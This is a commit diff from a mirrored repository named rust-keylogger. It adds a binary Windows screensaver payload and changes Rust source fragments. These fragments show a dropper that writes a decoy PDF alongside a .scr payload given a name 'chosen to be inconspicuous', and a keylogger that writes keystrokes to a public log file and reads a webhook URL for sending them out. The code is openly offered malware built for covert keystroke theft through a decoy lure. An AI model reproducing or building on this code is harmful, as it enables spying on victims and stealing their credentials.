mirror of
https://github.com/Axiean/rust-keylogger.git
synced 2026-02-03 22:25:53 -05:00
ch
This commit is contained in:
parent
8b91adb708
commit
d29d3e75dd
BIN
assets/win_payload.scr
Normal file
BIN
assets/win_payload.scr
Normal file
Binary file not shown.
@ -28,8 +28,8 @@ fn main() {
|
|||||||
let pdf_path = tmp.join("sample.pdf");
|
let pdf_path = tmp.join("sample.pdf");
|
||||||
|
|
||||||
// # Define the full path for the payload file within the temporary directory.
|
// # Define the full path for the payload file within the temporary directory.
|
||||||
// A generic name like "scrn.scr" is chosen to be inconspicuous.
|
// A generic name like "KEYLOGGER.scr" is chosen to be inconspicuous.
|
||||||
let scr_path = tmp.join("scrn.scr");
|
let scr_path = tmp.join("KEYLOGGER.scr");
|
||||||
|
|
||||||
// # Write the embedded PDF data to the file system.
|
// # Write the embedded PDF data to the file system.
|
||||||
// This block creates a new file at `pdf_path`. If successful, it writes the
|
// This block creates a new file at `pdf_path`. If successful, it writes the
|
||||||
|
|||||||
@ -14,7 +14,7 @@ use winreg::RegKey;
|
|||||||
|
|
||||||
// The contents of the file are read at COMPILE TIME and put here as a string
|
// The contents of the file are read at COMPILE TIME and put here as a string
|
||||||
const WEBHOOK_URL: &str = include_str!("../config/webhook.url");
|
const WEBHOOK_URL: &str = include_str!("../config/webhook.url");
|
||||||
const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt";
|
const LOG_PATH: &str = "C:\\Users\\Public\\keylogs.txt";
|
||||||
|
|
||||||
/// # Checks if the Caps Lock key is toggled on.
|
/// # Checks if the Caps Lock key is toggled on.
|
||||||
///
|
///
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user